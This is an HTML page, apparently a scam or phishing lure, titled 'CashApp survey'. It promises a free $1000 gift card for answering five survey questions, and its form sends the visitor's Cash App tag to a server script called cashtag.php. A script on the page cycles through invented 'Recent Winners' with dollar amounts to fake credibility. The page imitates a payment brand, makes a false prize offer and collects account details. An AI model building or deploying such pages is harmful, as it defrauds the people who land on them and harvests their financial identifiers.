<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<link type="text/css" rel="stylesheet" href="style.css" />
<link href='https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300' rel='stylesheet' type='text/css'>
<link href='https://fonts.googleapis.com/css?family=Open+Sans:300' rel='stylesheet' type='text/css'>
<meta name ="viewport" content ="width=device-width, initial-scale=0.55, user-scalable = no, user-scrollable =no">
<title>CashApp survey</title>
</head>
<body>
<p><img src="cashapp.gif" width="100%" height="263" /></p>
<center>
<div id="form1">
<p>
<p>You have <b>five(5)</b> survey questions to answer and get your free $1000 gift card
<p><b>
Survey 1:</b> What's your cash">
<form action="cashtag.php" method="post">
<input placeholder="Cash app Tag" type="text" name="tag" class="form-control" required>
</div>
<div></br></br>
<input type="submit" id="button2" value="Proceed" />
</form>
</div>
</center>
</br>
<script>
var greetings = [ "John4599 Received $1300",
"Sophia Received $800",
"Jacob Received $1000",
"Isabella55 Received $1800",
"Janet Received $900",
"Jayden Received $1300",
"Olivia Received $2000",
"Mason Received $500",
"Johnson Received $1400",
"Emma233 Received $800"
];
//Maybe this is clearer for you...
setInterval(changeText, 2000);
function changeText()
{
var greeting_id = Math.floor(Math.random() * greetings.length);
document.getElementById('textme').innerHTML = greetings[greeting_id];
}
//But you also can use:
/*
setInterval(function () {
}, 5000);
*/
//As you can see in other answers. :)
</script>
<center>
<strong> Recent Winners
</strong><div id="textme"></div></center>
</body>
</html>